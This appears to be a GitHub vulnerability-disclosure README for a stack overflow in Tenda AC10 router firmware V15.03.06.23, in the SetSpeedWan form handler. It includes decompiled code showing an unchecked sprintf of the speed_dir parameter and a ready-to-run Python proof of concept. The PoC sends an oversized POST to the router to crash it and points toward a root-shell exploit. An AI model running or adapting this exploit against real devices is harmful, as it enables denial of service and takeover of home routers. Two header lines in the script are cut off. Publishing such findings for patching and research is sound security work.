

main ▾

...

IOT\_Vul / Tenda / AC10 / formSetSpeedWan / readme.md



z1r00 Update readme.md

History

1 contributor



64 lines (41 sloc) | 1.75 KB

...

# Tenda AC10V15.03.06.23 Stack overflow vulnerability

## Firmware information

- Manufacturer's address: <https://www.tenda.com.cn/>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2734.html>

## Affected version

## AC10V1.0升级软件 V15.03.06.23

立即下载

关联产品: AC10 v2.0    更新日期: 2017/10/18

1.此固件只适用于AC10且当前软件为V15.03.06.XX的机器升级,不同型号不能使用该软件,升级前请确定当前软件版本。

2.下载解压后,请使用有线连接路由器升级,升级过程中切勿切断电源,否则会导致机器损坏无法使用!

\* 如果链接错误或其他问题,请反馈到 [tenda@tenda.com.cn](mailto:tenda@tenda.com.cn)或联系[在线客服](#), 谢谢。

## Vulnerability details

```
1 speed_dir = websGetVar(wp, "speed_dir", "0");
2 ucloud_enable = websGetVar(wp, "ucloud_enable", "0");
3 password = websGetVar(wp, "password", "0");
4 GetValue("speedtest.flag", buff_vlaue);
5 if ( atoi(buff_vlaue) )
6 {
7     sprintf(ret_buf, "{\"errCode\":%d,\"speed_dir\":%s}", 1, speed_dir);
8 }
9 else
10 {
11     SetValue("speedtest.flag", "1");
12     if ( atoi(speed_dir) )
13     {
14         if ( !atoi(ucloud_enable) )
15         {
16             SetValue("ucloud.en", "1");
17             SetValue("ucloud.syncserver", "1");
18             SetValue("ucloud.password", password);
19             SetValue("qos.ucloud.flag", "1");
20             doSystemCmd("cfm Post ucloud 0");
21         }
22         SetValue("speedtest.ret", "2");
23         doSystemCmd("/bin/speedtest %d %d &", 1, 1);
24     }
25     else
26     {
27         SetValue("speedtest.ret", "4");
28         doSystemCmd("cfm Post ucloud 5");
29     }
30     sprintf(ret_buf, "{\"errCode\":%d,\"speed_dir\":%s}", 0, speed_dir);
31 }
32 }
```

/goform/SetSpeedWan, speed\_dir is controllable and will eventually be spliced into ret\_buf by sprintf. It is worth noting that the size is not checked, resulting in a stack overflow vulnerability

## Poc

---

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x300
p2 = b'speed_dir=' + p1

p3 = b"POST /goform/SetSpeedWan" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=password; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell